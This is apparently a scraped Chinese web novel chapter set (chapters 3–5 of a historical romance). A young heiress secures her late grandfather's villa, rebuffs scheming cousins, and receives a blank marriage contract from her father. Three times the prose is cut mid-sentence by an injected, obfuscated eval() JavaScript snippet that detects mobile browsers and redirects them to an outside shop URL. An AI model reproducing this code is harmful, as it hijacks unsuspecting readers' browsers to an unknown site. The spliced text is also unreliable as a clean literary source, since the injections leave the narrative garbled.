《嫁给科举升级流表哥》 3. 003 缀玉就站在院门边，手握质地沉重的花梨木门闩，在九凝出声的刹那，已向后一靠，陡然抬腿，一脚狠狠踢在青竹妈妈膝弯后，手臂一探一勾，卡上其后一个婆子颈项，瞬间爆发的力度，勒着人踉踉跄跄地冲进了院子里。 油布斗篷甩动，水珠如帘般洒向两人的面庞和眼睛。 另一个粗使婆子回过神来，张嘴尖叫道：“你们、你们要做什么！杀人……” 负责抬箱笼的陈二姑、陈三姑两个镖局妇人，将肩上扁担搁下，豹子般敏捷地窜出。 院子里外立刻响起交手的砰啪之声。 大雨将人声掩盖到最低，缀玉已带着镖局的众人，将青竹妈妈等三人制伏，按倒在地绑缚起来，口中塞起麻布。 没有不速之客，九凝微松口气，缀玉问道：“姑娘可还有什么话讯问？” 见九凝摇头，缀玉便蹲下身对着三人歪头笑了笑：“我长久没有动过手了，手里没轻没重。若是把谁打傻了，便当我此刻提前道声不是。” 只当没看见三人顿时睁大的眼睛和陡然剧烈的挣扎，干脆利落地一人一记手刀敲在颈后。 没有时间多容耽搁，缀玉留下善后，余者一众人将九凝拥簇在中间，脚步橐橐穿过大雨里无人的后宅深院。 晚晴山房熟悉的黑漆院门紧锁。 谢九凝进了大门，令镖局陈氏二女下了门闩，站在回廊底下听着雀鸣，长长出一口气，始觉自己重新活了过来。 晚晴山房自成一体，侍人不曾受到外面府里的纷乱影响，都换上了素服，待九凝更衣坐定，便由大管事鹿姑姑带着，一一上来磕头见礼，重叙主仆。 九凝打赏过，请鹿姑姑在小杌子上坐了。 鹿姑姑已年过五旬，一头乌发在脑后梳了个圆髻，簪以银钗，别无妆饰，她望着九凝，面容严肃，神态却温和，道：“老爷仓促宾天，最最放不下的只有表小姐，如今又把晚晴山房一体留给了您，老奴无所长，所幸身子还康健，若是得小姐恩典，还能在小姐房中服侍些年月。” 九凝握着她的手，不由得再度悲从中来。 鹿姑姑是虞家的世仆，早年在外祖房中做一等丫鬟，后来出嫁所遇不淑，没了丈夫，也没有父母兄弟可依，仍回外祖跟前服侍笔墨。及至外祖搬到晚晴山房别居养生后，便做山房内大管事，这么多年，一直深受信任。若无意外，明年过了年便要出去荣养了。 她照顾九凝一向尽心尽力，连缀玉也是她一手调.教给九凝使唤的。 鹿姑姑眼眶亦湿润，却仍劝道：“小姐仓促冒雨赶来，不知道外头出了什么事？这时候小姐可千万要以保重自身为要，不可沉溺哀痛之中，乱了方寸。” 后宅阴私之事，如何瞒得过这些久居多年的老仆，九凝此时正要仰仗身边人用事，将朱大太太与小柳氏所谋之事说了出来。 鹿姑姑便知利害，当下道：“老奴必约束院中仆妇，暂闭门户，只是小姐，老爷子过世，这府中到底有老夫人、大老爷做主，小姐如此只可暂避锋芒，却不是长久之计。婚姻大事，总要姑老爷有个准话才是。” 九凝道：“如今且顾眼下。我思量着，大舅母干大事却惜身，小舅母见小利而忘命，俱不是能谋事的人。我暂且在山房外门这边安下援手，免得我们的人被困在府里内外失助。待过了外祖头七，再调拨些人手回来，使大舅母知道轻重，小舅母自有外祖母去管束她。此后便闭门安心守孝，有这两年回旋，再慢慢与京中商议。” 鹿姑姑道：“小姐有章程便妥当。外头的事从来都是老爷子亲自带着小姐，老奴便不僭越了。” 两人慢慢说着话，飞琼进院来，在廊下除了雨衣。 小丫鬟端了姜茶。她匆匆喝了两口，道：“徐捕头应了小姐的话，如今两位捕快就在外头门房喝茶，奴婢也打发了银子。”又问道：“小姐可要召李三哥回来护卫？” 九凝微微沉吟，道：“白家的事风波不小，我本意仍是令他再躲些时日。算算日子，良锦姑姑也该在回程上，发信去催一催她。” 飞琼应了，忽又想起件奇事，道：“上竹那边的准少爷方才进府来吊老爷子，在夹巷里拦了奴婢，嘱咐说今儿外头人多眼杂，请小姐就在屋里由奴婢们好好陪着给老爷子哭灵，万万不要往外头那鱼龙混杂的去处去。” 谢九凝讶然。 飞琼道：“准少爷素来守礼，话都少与奴婢们说一句的，怎会私下与小姐传话？奴婢担心是大太太、三太太行事不密，走漏了风声，还是她们另有打算？” 九凝进了山房，就把院中巡戍值守之事交给大暑、小暑两个重新编排，又令陈氏二女为臂助，闻言洒然道：“我本不是女中诸葛，没有料敌于先的本事。事已至此，他们若是仍不顾府中颜面，我也不过是兵来将挡、水来土掩而已。” 又叮嘱道：“准哥有心示警，我总承他的情。他出身远支，家业不显，偏偏平常在外祖面前得脸，大房两位表哥都有些记恨。你使人关照他些茶水休憩之处，如今府里这般样子，难免有那心小的做这些不上台面的文章。” 飞琼屈膝应是。 屋里的气氛宽松了些。鹿姑姑严肃的面庞上也露出微微的笑意。服侍着九凝用了些点心茶水，送她往虞炎小书房改的静室去抄写道经。 飞琼这边出了门，就点着帘子底下小丫鬟立春的额头轻啐了一口，道：“在这里挤眉弄眼的做什么？打量着小姐没瞧见你呢。” 立春倒有些委屈，道：“我也不知道该不该禀给小姐知道？三房的春雨悄悄地跟我说，张家和侯家的老太太得了信来探望老夫人，三房叫眉小姐和词小姐去待客，两位老太太就问起怎么不见小姐，老夫人只说小姐身子骨不好，一病倒了。可是老夫人怎么能说这样的话败坏小姐的名声？” 飞琼闻言叹息。 这话实在恶毒。信了的只道是谢九凝体弱不健，不信的难免觉得她既不能为老爷子尽孝，也不得长辈的喜欢。 虞炎一去，辈分上没人能庇护谢九凝，她自己亦不能出面驳这些话，便是弱势所在。 人言猛于虎。 最怕有些流言传着传着就成了真的。 她叮嘱道：“小姐年少，老夫人却已过了随心所欲的年纪，有些话她老人家说得，我们是小姐屋里服侍的，非议那边的主子，只会教人觉得小姐治下无方，这话再不能提的。” 小丫鬟应下，没心没肺地出去了。 飞琼满怀忧虑地去找了鹿姑姑商议。 大雨下了半日余，仍未有转小的趋势。屋檐下白水茫茫，天地隐绰。 缀玉冒雨赶了回来。 飞琼打趣她：“看你裙子上的泥点子，唯恐旁人不知道你去做了盗跖。” “我办完了事，恰好觑见大房的朴少爷正往这边来，抄近路紧走了几步，就怕他眼睛尖，看见姑娘身边少了人，想些有的没的。”缀玉啐她：“打量人人都和你似的，外头的事一概不管不问，一心在姑娘身边做贤良人。” 飞琼也不恼她，抿嘴笑道：“若是就放你照顾小姐，恐怕一年四季衣服鞋袜都没个头绪。可见我还是有用。” 一面往书房去通报谢九凝。 绑了三舅母的私人，必有人要做出反应，九凝已准备好了应对，倒有些惊讶，更衣往前院去时抽了空问：“大舅母、三舅母前头都没有派人来？” 飞琼道：“若是有人来，怎会瞒着小姐？大舅太太这一日都在招呼宾客，三舅太太服侍着老太太，在院里有些眉不是眉、眼不是眼的，却没有别的动静。” 谢九凝若有所思。 前院花厅前后门窗大开，看得见中庭的海棠树在雨中颤栗，胭脂零落，青碧嶙峋。 虞朴坐在主位上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035222|194612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢地喝着茶。 单从气度上看，这位表兄已是虞家最与老爷子相似的一位。白皙高挑，举止从容，颇有处变不惊的雅量。 长房长孙虞枢折后，虽有三房虞杼在前，依旧由他做了虞氏的承重孙，跟在虞炎身边受教，时时出入相从。因此在几位表兄弟中，九凝与他相见最多。 他年长九凝七岁。婚事拖到去年，终于由母亲朱氏做主，祖父虞炎点头，娶了荆州知府的嫡女荀氏为妻。 听见丫鬟行礼之声，他抬头看过来，微微笑着，唤了一声“表妹”，神色温和：“不请自来，为兄冒昧了。” 他端坐在上座，没有起身的意思。九凝便在中堂立定，淡淡地道：“三表兄今日事繁，如何拨冗来此？” 虞朴不以为忤，温声道：“听母亲说你今日哭病了。可请了大夫，开的什么药？如今祖父虽不在了，你却还是咱们家金尊玉贵的姑娘，若是底下有人对你不敬，只管说与我，我自然替你做主。” 九凝福身道了声“多谢三表兄关切”，只是道：“外祖灵前诸事，都仰仗兄一肩担待。我身在内宅，不过是一心为外祖祈福而已，哪里出得什么事？” 虞朴沉默了一下，望着她的神色似有无奈，又如纵容，摇了摇头，道：“你总是守礼。” 九凝站在当地，微垂着头，眼观鼻、鼻观心，不为所动。 虞朴道：“我虽不知我母亲同三婶说了什么，但你只管放心，这个家还轮不到三婶婶做你的主。表妹，祖父去世前曾对我说起，小舅父请他为你择婿，写了空白婚书托付给他……” “三表兄慎言！” 九凝肃然打断了他的话。 她抬首直视虞朴：“我敬表兄如我胞兄。三表兄自幼从君子之学，表嫂更是闺阁严谨，上孝下悌，为我等姊妹榜样。我父亲若是因此信任外祖治家门风，与他老人家有所托付，也是长辈之事，我是儿孙辈，怎好背后口舌？” 她容颜炽盛，薄怒之时，眉目如霜神色如雪。虞朴望着她，端着茶盏的手微微颤抖。 片刻，他侧过脸避开了她的视线，苦笑一声，轻轻道：“你莫要恼我，我也知道，当初错退一步，此刻再说总是迟了。可我心里何尝过得去？只盼你万万不要因此意气用事，吃了大亏。” 九凝道：“此言竟令我不解。我与表兄各安内外，又俱已长成，偶有相见，不曾稍逾兄妹之义。表兄关切，我铭感五内。只是如今外祖他老人家仙逝，大舅父远在任上，正是人人都看着表兄的时候，怎好在我处迁延，耽搁外头的正事？表兄也不要陷我于不孝之地才是。” 虞朴叹了口气。 九凝以为他还要装傻充愣，却听虞朴道：“京中之事，我知祖父不会瞒你。你已回去不得。二哥浪荡，老四尚未长成，在我母亲面前，说不上半句话。” 他站了起来，深深看了她一眼，道：“非是我有意冒犯于你，可是表妹，难道你真要寄望于二叔家面都没有见过的堂弟？” 九凝头也不回地出了厅门，站在门口厉喝了一声“缀玉”：“三表少爷要回去，怎么也不知道送送客人？外祖父他老人家真灵不远，这院子里到底还有没有规矩？” 虞朴从她身边走过，轻声道：“表妹，你素来聪明，应当看得清，此时势不由你，留给你的选择并不多。玉碎昆山，非我所乐见也。” 谢九凝置若不闻。 他笑了笑，跟在缀玉身后扬长而去。 谢九凝站在庑檐底，良久，惊怒不上面的眉宇一片漠然如冰。 “九凝。” 忽而有人音色沉静，唤她名字。 谢九凝循声望去。 回廊之下，身形颀长的缁衣少年负手而立，向着青年转变的身形已有了如岳如渊的宁定。 隔着如帘的大雨，凝视着她，那眸光既静而深，不知已看了多久。 4. 004 谢九凝已有些时日没有见过虞准。 族谱上论，虽然俱姓虞，但到虞准这一代，与虞朴兄弟已出了五服。虞炎与他父祖有谊，又怜惜他是个读书种子，便指点他一二，也许他在别院出入。 记忆中，这是位寡言而守礼的远房表兄。但不知是不是太久没有见面的缘故，九凝觉得，此刻廊下的人比起记忆中的影子，更多了十分的沉静。 他静静站在那里，身形尚未长成，已像一尊岁月不移的山，令她不由自主地仰首相望。 她微微地笑了起来，隔着中庭向对方福了福身。虞准便拱手向她还礼，沿着抄手游廊迤逦行来，在拐角处不远不近地站定了，一如往昔的克己复礼，令谢九凝有种生活重新落到实处，平静无生波折的错觉。 “准哥从前院来，可脱得开身么？” 虞准缓缓笑了笑，道：“诸事自有大太太、子厚和锡纬担待，你这一问，却抬举我了。” 虞朴表字子厚。三房的二爷虞杼表字锡纬。 他这话似有所指，九凝却不知道他是何时到的，有没有听见虞朴说的那些浑话，她抿嘴笑了笑，轻声嗔怪一旁的飞琼：“准少爷过来，也不通报一声。”望着虞准道：“准哥也见了，我这里万事没个头绪，失礼之处勿与我见怪。还请进屋喝茶。” “是我失礼，因恐府里今日不宁，于你有所牵连，才贸然来访，九凝不责怪我才好。” 虞准语气和缓，有种说不出的令人信服的力量，奇异地安抚了她细微的不安，又道：“山房虽清幽，却不是世外之地，府中人不免往来。你独居在此，也可偶尔与三嫂做做伴。” 谢九凝便知他定是见到了虞朴从院中出去，委婉地提醒于她。 她轻叹了口气，道：“三嫂固然是善解人意，但这关头大舅父正是多有仰仗荀大人之处，虞家这些琐事，何必令她在其中为难。” 她说话时，虞准始终看着她，目光温和。 九凝却觉得他注视她的目光像是担着无数沉积的光阴，在宽厚平和的水面之下，激荡着令她此刻看不懂的潜流。 她有些不自在地抚了抚鬓边的素色绢花，侧首回视。 苍茫的白雨里，她无畏地看着他，像只未染风霜的幼鹿。那双湛黑色眼瞳清澈又明亮，似一对小小的湖泊，照得出面前人的剪影。 虞准凝视着她，从容道：“去岁湖广歉收，今年又值考课之年，荀大人在荆州任上，恐不免焦头烂额，不受此事牵连已是万幸，难有进益。行大舅父丁忧，三年之后，朝野如何，又是一番景象，九凝苦心，恐怕行大舅父却难生受。” 谢九凝默然片刻，道：“我何尝不知？也不过问心无愧而已。” 虞准负着手，重新看向回廊之外，大雨冲刷着花树与山石，流红蜿蜒，入渠而去。 他道：“叔祖父曾言，行大舅父读书近迂，以举人功名，官至从六品，已经尽其所能。若为一地主官，恐反成祸事，不如及早抽身。或许他老人家于此已早有安排。” 谢九凝抿唇笑了起来，道：“准哥是怕我生出不平之心，替大舅父求援于我祖父。” 虞准微微一笑。 九凝笑着，却有些怅然，低声道：“京中的事，早与我无关了。” 雨声漱漱，她的声音几近不可闻。 虞准重新看向她。 她神色那么宁和，眼角眉梢郁色淡淡，没有哀苦悲憎，仿佛在说一句与己无关的闲话。 他垂下眼眸。 却温声道：“如今朝局变幻，谢老先生身为顾命之臣，虽挂冠在家，却反比从前更有主动权。长公主去岁大开杀戒，杀言官如杀鸡豚狗彘，令天下读书人生出物伤其类之心，李首执也难再与她勾兑。届时若有变故，便是你回京的机会。” 九凝摇摇头，道：“若是长公主有求于我祖父，我便更不该回京！” 世人皆知，谢阁老次子谢珩文名盛于天下，二十年不仕，书剑风.流，白衣卿相。 人人称赞他是谢庭芝兰，津津乐道于他入阁二十多年的父亲和官居四品的长兄，赞叹谢氏传承有度，清贵无尘。 昔年那些关于寿康长公主与他之间的绮色流言，随着时间推移，两人都渐渐年长，一位权势愈盛，一位清誉日隆，已鲜少有人提起。 九凝道：“长辈之事，我不愿置喙。但若是我因那一位市恩而回京，此后日夕相对，都不过徒然令我母亲伤心而已。” 她说得如此坦率，没有一丝迟疑和粉饰。 虞准极轻地叹息了一声，岔开了话题。 两人看着中庭的雨，有一搭没一搭地又说了些闲话，虞准便向她告辞。 九凝送他到垂花门下，望着他的背影渐行渐远，一身缁衣，却如缓带轻裘行于丹陛，带着股难以言喻的从容。 她一时默然。 飞琼守在一边，担心她大雨里在屋外站这许久，早备下斗篷，这时候忙展开了替她兜在肩上，服侍她回房。 见她神色沉郁，以为她仍为虞朴狼子野心伤怀，有意引她开心，道：“平日里只见准少爷寡言，没想到却书读得这样好，能和小姐说到一处去。” 九凝道：“玉蕴山辉。也难怪外祖父生前，于子孙辈诸虞之中，最是挂念关照他。” 此前她和虞准相见不多，各自守礼，更不曾有如此深谈，只觉他风仪过人，观之可亲，竟不知其人敏锐洞彻至此。可惜经此大变，恐怕前程不免多些坎坷。若是就此泯然众人，才是最令人扼腕。 可她自身难保，更难介入他人因果。 飞琼道：“只可惜出身差了些，听人说若不是老爷子有意照拂，上竹那边竟不许他读书的。” 九凝疑惑地“哦”了一声，道：“虞家自高祖辈便一意改换门庭，资助族中子弟读书，他既然聪慧，上竹也有产业，怎会有这等事？” 飞琼道：“小姐这话把我问住了，我也不过是听外头小厮偶尔嚼舌。” 九凝摇摇头，道：“我观准哥是心智过人之辈，这样的人，便是被踩进土里，也会自己挣个前程出来的。我倒是想着，若是到他到了紧要关头，若是我手中还有外祖父的余荫，用在他身上，恐怕还比给旁人好些。” 飞琼笑道：“正是这个理，毕竟一笔写不出两个虞字，如此也不算辜负了老爷子给小姐的托付。” 久雨不歇，上房光线昏然。立春托着火烛进门点了灯，脆声道：“时候不早，小姐可要用饭？” 这一日事情来得又多又急，九凝竟不觉饥饱，看看屋角的西洋自鸣钟，无可无不可地点头。 晚晴山房灶上惯例是主子提前半日勾水牌点菜，采买亦单独走账，不入公中。只九凝原不住在这院里，来时飞琼揣度着谢九凝的心思做了主。 她熟知九凝的口味。九凝虽无什么胃口，依旧用了半碗米饭，一时漱口换茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035223|194612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，始得了空，静静写了一会字。 到晚间时，前院微微喧哗，有妇人家奴叩门。 缀玉隔墙问名。 仆妇只口称奉朱大太太之命，请九凝往正院上房说话。 缀玉咯咯地笑，高声道：“我刚刚还碰见大太太身边的青竹妈妈，怎么没有听她说起此事。我们家姑娘是正儿八经姑奶奶养下的表小姐，大太太平常最是疼爱尊重，但有劳动我们家小姐的事，都是青竹妈妈亲自来请。你是哪个牌面上的人，到这里来擅作主张。” 外头的妇人道：“奴婢也不过奉命行事，还请表小姐不要为难奴婢。” 缀玉不以为意，笑道：“这等没规矩的东西，也敢冒充朱大太太的身边人，我看这府里总有些浑水摸鱼往主子身边奉承的，总要教教规矩才好。” 外头安静了片刻，有人说了声“奴婢得罪了”，院门便有轰然声响。 墙头槐树枝叶掩映之间，冒出大暑披着油衣兜帽的半个身子，冲着缀玉打了几个手势。 缀玉哈哈一笑，“我当是何等英雄豪杰。今儿若给你进了门，我这辈子也不必姓陈。” 看着身边的小暑等人，吩咐道：“照着章程办就好。等消停了，都打一顿，卸了嘴丢到西院去，别留在这里坏了姑娘的心情。” 小暑抿嘴一笑，屈膝应是。 缀玉拂袖往书房来。 谢九凝听得帘下轻响，搁了笔，笑着抬头看她：“闹了一场，你痛快了？” 缀玉道：“大舅太太手底下人也不精干，对付内宅里手无缚鸡之力的小丫头，倒是合宜。” 九凝道：“大舅父不在府里，外院庶务一向有三舅父打理，大舅母哪里会有机会招揽良材。她身边那些做脏活的妇人，往常不过是收拾两个三表兄屋里的丫头而已。” 缀玉不以为然地道：“我看三舅太太的人也不过如此。” 九凝笑着哄她：“是你英雄盖世。” 缀玉不由得握了脸，羞窘道：“我如今不傻，听得懂姑娘打趣我。” 九凝道：“我身边哪里缺得了你？若不是有你们几个护持，我今时今刻还不知在何处任人宰割。” 缀玉高兴起来，碎步趋前，替九凝剔了剔桌边的罩灯。 因九凝在写字，屋中灯火烧得通明，照着书案上蜡黄色光润的纸面，泥金小字筋骨挺秀，熠熠生光。 九凝看着她笑了笑，重新低头提笔写了起来。 “渺渺超仙源，荡荡自然清。” “皆承大道力，以伏诸魔精。” 这卷《太上洞玄灵宝天尊说救苦拔罪妙经》她烂熟于心，并无需对照着抄写，只一个字一个字静静地写下去，心境也随之渐渐安宁。 书房里燃着沉郁的奇楠香。窗外下着淋漓的雨。窗前人素衣挽发，皓腕如霜。天地如隐于画中。 小暑的脚步声却仓促打破了这画幅的宁静。 缀玉看了谢九凝一眼，轻手轻脚地出去，低声问道：“出了什么事？” 小暑缩了缩脖子，也压低了声音，回道：“长房标四少爷来访。我说小姐休息了，请他回去，他也不肯，如今就自顾自在外头叩门。他毕竟是这府里主子，这样下着雨，怎么好不管他？若是病了，恐怕小姐也要受牵累。” 屋中如此安静，便是她低声说话，却还是能叫谢九凝听得清楚。 小暑和缀玉不由得一同朝着九凝看去。 5.005 书桌前，谢九凝恍如不闻，拈着笔管的手顷刻不见停顿。 缀玉两人垂手屏息，不多发半点声响。 至这一篇写尽，九凝方停了笔，拈起挺括的金粟纸，斜对着烛光细细打量了片刻，吹了吹墨迹，郑重放在一旁。 她抬起头，笑道：“鹌鹑似的，在这里乖觉什么？” 一面封砚洗笔，又盥了手，接过缀玉奉上的毛巾慢慢擦拭着，道：“这晚晴山房又不是杂货铺子，任谁随来随走。你带人去大房走一趟，请大舅母务必拨冗亲至，她若是不管四表兄的事，我们又怎么好擅作主张？” 缀玉松了口气，笑嘻嘻地屈膝应是。 谢九凝抬首，望着四壁琳琅陈列、被虞炎这些年一点点填满的书架，没来由地叹息一声。 她举步出了书房。 下了大半日的雨不知何时终于停了。 院中各处檐下都挂起了气死风灯笼，柔黄光芒在湿冷的风里摇曳。 院门外响起一阵嘈杂的脚步声。 中年妇人饱含怒意的声音厉喝着：“还不给我把这个小畜生拉走……我们虞家的脸，都被他丢尽了！” 少年惊呼一声“娘”，拉拽衣裳的摩挲声里，仆妇苦苦地哀求着“四少爷，您有什么话不能等白日里同夫人说”，一面把持着虞标的手臂往朱大太太的方向拖去。 朱大太太看着紧闭的院门，想起至今未回到长房的青竹妈妈等人，和另几人被发现时哀哀呼痛却看不到伤痕的皮肤，怒火和忌惮同时在她心口翻涌。 她看着不断挣扎的虞标，更是气不打一处来，喝道：“你还是个读书人吗？你的夫子平日里难道就是这样教你？我竟不知道你表妹这门前是没有男女大防的！” 毕竟是个已束发的少年郎，虞标奋力挣扎之下，豁然甩开了两边健仆，噗通一声扑到朱大太太面前，跪了下来，道：“娘！求您替我向姑父提亲吧！只要您为我聘下表妹，我一定会努力读书，将来为您拼个诰命回来的……” “还不住口！”朱大太太看着眼前磕头如捣蒜的幼子，面色铁青，眼睛里像是要喷出火来。 虞标被她吓了一跳，怔怔地看着她。 朱大太太咬着牙，道：“标儿，你是糊涂了，娘只当做没有听到。你表妹的婚事，老爷子生前已有安排，但凡她是个读过书，知道廉耻的女子，也不会……” “娘！” 虞标凄厉地喊了一声，“您怎么能这样说表妹！我想娶她，并不是她诱.惑了我，您要怪就怪儿子好了。” 他膝行向前，一把抱住了朱大太太的腿，哀哀地抬起头，道：“您也不要骗我了，我已经知道，你答应了大哥，为他聘表妹为妾……娘，我也是您的儿子，我真心的爱慕表妹，您不能这样的偏心……” “啪！” 朱大太太猛然抬手，一记响亮的耳光甩在了虞标的脸上。 他被抽得歪过头去，手上下意识地松开。 朱大太太余怒不息，抬脚便将他踢了个趔趄，怒喝道：“小畜生，还不住口！” 虞标捂着脸，朱大太太捂着胸口，急促地喘了几口气，看着左右仆妇，吩咐道：“今儿四少爷说的话，谁也不许透出半个字去……” 众人纷纷称是，手忙脚乱地拉起虞标，搀着朱大太太回去。 虞标在健仆臂间挣扎，不断回望，一声声喊着“表妹”，很快转为呜呜之声，显是被仆妇堵住了嘴巴。 谢九凝拢着肩头的斗篷，立在院中照壁下，静静地听着，面色沉静无波。 陪在一旁的飞琼轻声道：“小姐，夜深寒凉，还是早些回房歇了吧。” 谢九凝看着她担心的神色，微微笑了笑。 飞琼遣了铺床的立春，抱着自己的铺盖放在了床前的脚踏上：“今儿我给小姐守夜。” 九凝重新用温水净过手脸，抱着汤婆子坐在床沿上，看着她笑道：“那里湿冷，如何睡得。你要替我守夜，就老老实实在罗汉榻上歇着，我若是有事，自会喊你。” 飞琼拗不过她，服侍着她烫了脚，放下半扇床帐，灯火远远搁在屋角，帷幔之中昏昏暗下，借着余光看见她闭上眼，方到罗汉榻上歇下了。 半夜里，九凝被飞琼摇醒。 一睁眼，就对上侍女略显焦虑的神色，低声像是怕惊动什么：“小姐，良锦姑姑星夜兼程赶回来，说是有极要紧的事，必得马上报给您知道。” 九凝带着几分睡意，闻言像是被盆冰水淋下，猛然清醒过来，吩咐“快让她进来”，一面摘下衣裳裹着，匆匆绾了头发。 飞琼亲自打了帘子，一名穿着粗布短打的妇人风.尘仆仆地进了屋。 她一副走江湖的粗疏打扮，鬓梢犹带水汽，显是匆忙之中只洗过脸，就来向九凝回话。 良锦姑姑进门来，给九凝磕了个头，道：“姑娘，我此次奉老爷子之命秘密进京，见到了您的父亲谢二郎君。” 九凝愕然。 良锦姑姑抬起头，看她时眼中微微含泪，嘴唇翕动，一句未竟，从怀中摸出一只窄而薄的小包来。 九凝注视着那只薄薄的小布包，心不知为何失序地狂跳起来。 良锦姑姑低头将布包外层拆开，内里又是一层隔水的油纸。再拆开，又见一层绸缎，剥开缎子，方露出最内层的朱红笺纸。 良锦姑姑将绸缎小包呈递给谢九凝。 她伏下身，道：“姑娘，谢二郎君有话，要奴婢私下里交代给您……” 隔着柔滑带着体温的丝缎，谢九凝一把捏住了这封朱红色的信笺。 一枚玉佩从缎子里滑出，九凝已顾不得它，随手放在一边，只看着那封红纸。 挺括的纸张上洒着薄薄的碎金箔，属于放溪先生谢珩的一笔墨宝筋明骨秀，端正写着谢九凝的生庚八字。 谢九凝注视着右起婚书两字，和大片的空白。 “祖父去世前曾对我说起，小姑父请他为你择婿……” 虞朴那些已经被她刻意忽视的话在她耳畔回荡。 原来真的有空白婚书。 原来空穴来风，未必无因。 她张口，声音艰涩，追问的却不是良锦姑姑的未竟之言：“我祖父和我父亲，到底都商量了什么？” 良锦姑姑沉默片刻，组织了一下语言，道：“姑娘，奴婢对此事所知也并不多。只是因奴婢有两把架势，昔年又曾在江湖上行走，一个月之前，老爷子私下里令奴婢带着一封信，隐藏行迹进京，余下听谢二郎君的吩咐。” “奴婢因此托辞回乡探亲，进京拜见谢二郎君。” “谢二郎君得了信，令奴婢候些时日。到日前令奴婢带着这封信回来，交给老爷子。奴婢知道此事事关姑娘前程，不敢有半点节外生枝，一路上夜行昼宿，快马加鞭地赶回来。” “余下的事，奴婢一概不知。” 她看着谢九凝，道：“谢二郎君私下里叮嘱您，女子婚嫁，虽是一生之托，但他年也并非不能和离，比起真正凶险之处，又是其次。” 九凝面上血色一失。 谢珩此言，其意已明。 父亲知道她对几位表兄无意，乃至皆非良配，但他依然希望她按照外祖父的意思，在虞家婚配。 于她而言的真正凶险之处，除了京城，又能是何地。 在这片刻的电光石火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087652|194612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间，她想起虞准那句似是无心的话：“届时若有变故，便是你回京的机会。” 若她他年独自回京，又将如何？ 若她顺从了父亲和外祖父的意思，在诸表兄弟中择婿成亲……她这一辈子，又将如何？ 金玉其外的三表兄虞朴，看不见他父亲的如履薄冰，为一己私欲背弃发妻。 少年赤诚的四表兄虞标，却以他热烈的爱慕，不断将她向更危险的境地推落。 没有存在感的二表兄虞杼，因为比虞朴年长一岁，常年被长房刻意压制，声色纵.情，心思鬼蜮，早失正道。 至于二房，因二舅母带着诸子女都在任上陪伴二房舅父，这些年连面都少得一见。 谢九凝紧紧抿着唇，面色苍白，汗珠从她额上滚滚滴落。 ——若回京之机已近在咫尺，而她云英未嫁，却将如何？ 她的父亲一生未仕，却是辅政长公主陈容的少年知己，是她祖父、前致德殿大学士谢冰面前最重要的幕僚。 这个男人话并不多，但每一句她都不能轻易忽视。 谢九凝脱力地靠在床头。 良锦姑姑垂着头，默然失语。 飞琼捂着嘴，扭过头去无声地落了一会泪，狠狠地擦干了，重新露出个笑模样来。 起身出去帘外，片刻提了热水进来，投了热帕子，替九凝擦了额头的冷汗。 温热感舒缓了谢九凝的情绪，她定了定神，安抚良锦姑姑几句，道：“时候不早，你们都去歇着吧。有什么话，都明儿再说。” 良锦姑姑磕了个头，又道：“门冬陪着奴婢走了这一趟，风雨兼程的，那小丫头倒是撑得住，也是个机灵懂事的。她如今暂时安顿在耳房，姑娘是明儿得空见她一面，还是送出去养着？” 谢九凝恍惚一霎，低声道：“白家向我求救，我只保下门冬一个，已是我的无能了。她父母既把她托付给我，我也须得庇护她。若是她的心思没有改，仍想在我身边服侍，那就让她进院子里来吧。” 良锦姑姑道：“姑娘慈心，奴婢也替她给姑娘磕头了。” 九凝微微颔首，良锦姑姑起身寂然退了出去， 飞琼换了帐中余温的汤婆子，轻言轻语地服侍谢九凝重新躺下。 她不敢入睡，半躺在罗汉榻的边缘，睁着眼睛看着头顶的承尘，听着帐中衣料摩挲，徐徐地响了又响，知道谢九凝也始终没有睡着。 将天明时，窗外再次淅淅沥沥地下起雨来。 昏灰的天光淡淡透过明瓦，给房中缟素镀上沉黯的色泽。 早膳时，良锦姑姑带着个尚未留头，神色间透着机灵的小姑娘进来，给谢九凝见礼。 白门冬在陪伴良锦姑姑上京之前，已见过九凝一次，也不怕生，脆生生叫了句“姑娘万福”，就给她磕头。 九凝受了她的礼，飞琼拿了赏银给她，便定下主仆名分。 她捏着荷包看谢九凝，满脸的依恋，发辫上的白花颤颤巍巍，彰显出这是一个刚刚失去家人的孩童。 九凝爱怜地摸了摸她的头，温声道：“你家里世代为漕帮做事，为老爷子尽忠。如今你虽进到我身边服侍，要守我院子里的规矩，我却并不会拘束你一辈子，到你长大成人，仍可出去自立门户，只盼你将来自尊自强，不要堕了白氏的声名。” 白门冬脆声应“是”。 谢九凝微微叹息一声。 还是个小小的孩子，虽遭大变，比同龄人懂些事，可到底能听懂多少道理。 而她自己呢。 